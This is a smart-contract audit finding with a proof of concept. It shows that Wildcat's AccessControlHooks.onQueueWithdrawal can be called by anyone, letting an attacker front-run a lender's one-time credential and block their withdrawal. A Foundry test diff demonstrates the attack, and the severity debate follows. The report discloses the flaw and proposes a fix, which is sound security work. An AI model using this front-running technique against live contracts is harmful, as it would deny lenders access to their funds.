Anyone can call `AccessControlHooks.onQueueWithdrawal` to DOS lender's operation

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-08-wildcat/blob/fe746cc0fbedc4447a981a50e6ba4c95f98b9fe1/src/access/AccessControlHooks.sol#L812

Vulnerability details

Impact

1. AccessControlHooks.onQueueWithdrawal has no restrictions on calling and can be called by anyone.
2. Hook supports credential validation via validateCredential, such as ECDSA signature, prohibited from being replayed.
3. After the verification, set the expiration value. If the expiration value is short, the attacker can frontrun the verification logic to DOS the lender's subsequent transaction.

Proof of Concept

diff --git a/test/market/WildcatMarketWithdrawals.t.sol b/test/market/WildcatMarketWithdrawals.t.sol
index 3dcba54..92847c5 100644
--- a/test/market/WildcatMarketWithdrawals.t.sol
+++ b/test/market/WildcatMarketWithdrawals.t.sol
@@ -7,6 +7,10 @@ contract WithdrawalsTest is BaseMarketTest {
   using MathUtils for uint256;
   using FeeMath for uint256;

+  mapping(address => mapping(uint256 => bool)) isNonceUsed;
+  bool public isPullProvider = true;
+  uint256 public expireTime = 60;
+
   function _checkBatch(
     uint32 expiry,
     uint256 scaledTotalAmount,
@@ -41,13 +45,36 @@ contract WithdrawalsTest is BaseMarketTest {
     _requestWithdrawal(bob, 1e18);
   }

+  function validateCredential(address account, bytes calldata data) external returns (uint32 time) {
+    uint256 nonce = abi.decode(data, (uint256));
+    if (!isNonceUsed[account][nonce]) {
+      isNonceUsed[account][nonce] = true;
+      time = uint32(expireTime);
+    }
+  }
+
   function test_queueWithdrawal_AuthorizedOnController() public {
     _deposit(alice, 1e18);
     vm.prank(alice);
     market.transfer(bob, 1e18);
-    _authorizeLender(bob);
-    vm.startPrank(bob);
-    market.queueWithdrawal(1e18);
+
+    vm.prank(parameters.borrower);
+    hooks.addRoleProvider(address(this), uint32(block.timestamp));
+
+    address provider = address(this);
+    uint256 nonce = 1;
+    MarketState memory state = previousState;
+    bytes memory hooksData = abi.encodePacked(address(this), nonce);
+
+    // @audit Attacker frontrun to invalid signature
+    address attacker = makeAddr('Attacker');
+    vm.prank(attacker);
+    hooks.onQueueWithdrawal(bob, 0, 0, state, hooksData);
+
+    skip(expireTime + 1);
+
+    vm.prank(bob);
+    address(market).call(abi.encodePacked(abi.encodeWithSelector(market.queueWithdrawal.selector, 1e18), hooksData));
   }

   function test_queueWithdrawal_NullBurnAmount() external asAccount(alice) {

Tools Used

Foundry

Recommended Mitigation Steps

AccessControlHooks.onQueueWithdrawal should check msg.sender is market by market.isHooked.

Assessed type

DoS

[c4-judge]

3docSec changed the severity to QA (Quality Assurance)

[3docSec]

This issue is slightly different than #26 in the sense that it presents a different attack scenario. I still consider this an L however, because this unique attack scenario speculates on particular implementations of validateCredential which are out of scope.

[c4-judge]

3docSec marked the issue as grade-b

[d1ll0n]

As you said @3docSec this relies on a very specific implementation of validateCredential which only gives instantaneous access. It further assumes the attacker has access to the signature for the specific lender (as there'd never be a situation where the validation data is just a nonce).

[c4-judge]

This previously downgraded issue has been upgraded by 3docSec

[3docSec]

I find this group compatible with the Med severity for the following reasons:

• access to a lender's signature is very feasible in the frontrunning scenario depicted in this finding
• the hypothesis on validateCredential isn't really a speculation but rather a very reasonable implementation, one that was also assumed in the previous audit (finding number 2)

[c4-judge]

3docSec marked the issue as satisfactory